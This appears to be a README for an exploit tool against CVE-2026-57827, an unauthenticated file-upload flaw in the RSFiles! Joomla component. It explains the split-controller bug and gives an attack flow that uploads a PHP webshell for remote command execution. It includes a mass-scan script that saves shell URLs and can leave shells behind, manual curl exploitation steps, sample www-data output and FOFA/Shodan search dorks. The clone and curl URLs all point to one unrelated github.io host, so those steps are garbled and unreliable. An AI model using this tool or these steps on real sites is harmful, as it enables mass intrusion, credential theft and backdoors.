CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE

Split-Controller Upload Bypass → Direct Write Task → /downloads/shell.php → RCE

Overview

CVE-2026-57827 is a critical-severity (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in RSFiles! (com_rsfiles), a widely used file-manager and download component for Joomla, versions < 1.17.12.

The vulnerability exploits a split-controller design flaw: RSFiles! separates its upload into two frontend tasks — a pre-flight check (permission gate + extension allow-list) and a write method (saves file to disk). The write method can be called directly, bypassing the pre-flight check entirely. No authentication, no CSRF token required.

Affected Versions

Discovered by: Phil Taylor, mySites.guru (July 10, 2026) Vendor: RSJoomla (rsjoomla.com) Component: com_rsfiles

Vulnerability Mechanism

Root Cause

RSFiles! splits its upload across two separate frontend tasks in /components/com_rsfiles/controllers/rsfiles.php:

// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

Why It Works

1. Split controller — Security checks and the file write are in two different methods. Only the pre-flight check is guarded.
2. Direct task access — Joomla's frontend controller allows calling any task directly via &task=rsfiles.upload, skipping the pre-flight check entirely.
3. No authentication — The frontend controller has no access check. Anonymous visitors can call the write task.
4. No CSRF token — The frontend upload form has no site-wide CSRF token.
5. No file-type validation — The write method reads the filename from the request and passes it to Joomla's bundled upload handler (JFile::upload()), which accepts any file type by default.
6. Web-root downloads folder — RSFiles!'s default downloads folder sits inside the web root. The protective .htaccess that would stop PHP execution there is an opt-in admin setting that is OFF by default.

Attack Flow

1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

Verified Source Code References

Server Log Detection (from RSJoomla advisory)

Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

Key Design Flaw

The security checks (permission gate + extension allow-list) are a separate pre-flight step from the method that actually writes the file. Only the first one holds the checks. The second one — the one that writes to disk — could be called directly by crafting the right task parameter in the URL, bypassing all security controls.

This is a textbook example of the "checks and actions in different places" anti-pattern: the guard and the operation it's supposed to protect are decoupled, and an attacker can reach the operation without passing through the guard.

Installation

git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests

Usage

# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

Arguments

  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Proof of Concept

Single Target

$ python cve_2026_57827.py -t joomla-site.com

  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://candisexterior171.github.io
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

Manual Exploitation

Step 1 — Upload the shell

curl -X POST 'https://candisexterior171.github.io' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

Step 2 — Access the shell

curl 'https://candisexterior171.github.io'

Step 3 — Execute commands

curl 'https://candisexterior171.github.io;hostname;uname -a'

Mitigation (if update is not possible)

# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA / Shodan

FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"

Impact

Successful exploitation yields remote code execution as the web server user:

• Extract configuration.php → database credentials, SMTP secrets
• Access all Joomla content, users, and extension data
• Deploy persistent backdoors
• Pivot to internal networks
• Deface website or inject malware

No account on the site is needed at any step. Anonymous, unauthenticated, remote.

The Fix (1.17.12)

RSJoomla fixed the vulnerability in version 1.17.12 by:

• Adding a permission check to the write method itself (not just the pre-flight)
• Adding file-type validation to the write method
• Enforcing CSRF token on the frontend upload endpoint
• Making the .htaccess protection in the downloads folder enabled by default

Disclaimer

FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

Do not use against systems without explicit permission from the owner. The authors assume no liability for misuse.

References

_{Not affiliated with RSJoomla or mySites.guru.}